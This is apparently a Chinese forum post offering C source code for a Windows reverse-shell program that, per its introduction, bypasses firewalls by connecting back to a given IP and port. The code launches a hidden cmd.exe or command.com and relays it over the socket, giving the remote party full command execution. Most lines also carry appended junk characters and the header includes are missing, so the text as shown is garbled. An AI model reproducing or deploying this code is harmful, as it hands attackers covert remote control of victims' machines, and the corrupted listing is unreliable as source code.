这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 b aV>N[F&
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/* ============================== $'rG-g!f\
Rebound port in Windows NT w"Y` ]2
By wind,2006/7 ]}|byo
===============================*/ SRIA*M.B}
#include ypOLp SYk
#include kYzKU2T\W
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#pragma comment(lib,"wsock32.lib") %QmxA
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void OutputShell(); uo%P+om_}
SOCKET sClient; !>,m&O-x
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Z<[<n0o1
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void main(int argc,char **argv) m,i,n9C->
{ pKiZ)3U
WSADATA stWsaData; N["W Ir
int nRet; nAIo{
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SOCKADDR_IN stSaiClient,stSaiServer; *g}Yw
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if(argc != 3) E>'a,!QPv
{ c/N@zum,{
printf("Useage:\n\rRebound DestIP DestPort\n"); "5R~(+~<@
return; Q_-_^J
} #'D"
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WSAStartup(MAKEWORD(2,2),&stWsaData); Q1d'~e
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Un`^jw#_
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stSaiClient.sin_family = AF_INET; xsd_Uu*
stSaiClient.sin_port = htons(0); 00v&lQBW
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); )'17r82a
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) IG)s^bP
{ +/,icA}PI
printf("Bind Socket Failed!\n"); kpL@P oQ/r
return; EVp,Q"V]
} S5~VD?O,
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stSaiServer.sin_family = AF_INET; Tc8un.
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); /| #&px)G
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); p' M%XBu
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) il|1a8M2~
{ ee%fqVQ8P
printf("Connect Error!"); 06$!R/K
return; lY|Jr{+Ln
} (WJ${OW
OutputShell(); PH"n{lW.T
} 'F>'(XWWQ
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void OutputShell() Y3Vlp/"rB"
{ r.4LU
char szBuff[1024]; Cmc3k,t
SECURITY_ATTRIBUTES stSecurityAttributes; \
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OSVERSIONINFO stOsversionInfo; PaV-F_2
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 9Xx's%U
STARTUPINFO stStartupInfo; {?'fyEeg
char *szShell; TMYd47
PROCESS_INFORMATION stProcessInformation; | WvU q
unsigned long lBytesRead; z dO#0tN
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); jDQZQ NS
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 0GJn_@hr
stSecurityAttributes.lpSecurityDescriptor = 0; ABUSTf<
stSecurityAttributes.bInheritHandle = TRUE; BJ% eZ.
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); .A6(D$O k
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); qWmQ-|Py
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); \Gc+WpS(
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CiB%B`,N
stStartupInfo.wShowWindow = SW_HIDE; o7|eMe?<t
stStartupInfo.hStdInput = hReadPipe; ~8lwe*lNV
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; #5V9oKM
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GetVersionEx(&stOsversionInfo); U"Zmv
St e=&^
switch(stOsversionInfo.dwPlatformId) ^<e.]F25M
{ fl\ly`_
case 1: s0PrbL%_`
szShell = "command.com"; u,&^&0K,
break; Rz.? i+
default: () j=5KDu
szShell = "cmd.exe"; )kP5u`v
break; '_V2!?+RU+
} t^w"w`v\u
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ~$~5qwl
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send(sClient,szMsg,77,0); %"P,1&\^
while(1) Dc_yM
{ @;'o2
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); C+TI]{t
if(lBytesRead) P'`r
{ \_lod kf
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Rj4|Q:XG
send(sClient,szBuff,lBytesRead,0); cJrmm2.0kD
} -4cXRv]
else >(;{C<6|^
{ /oriW;OF
lBytesRead=recv(sClient,szBuff,1024,0); 5F~'gLH/F-
if(lBytesRead<=0) break; ~-I+9F
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); <WcR,d
} >"C,@cN}B
} q#s,-u u
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return; [<6S%s
}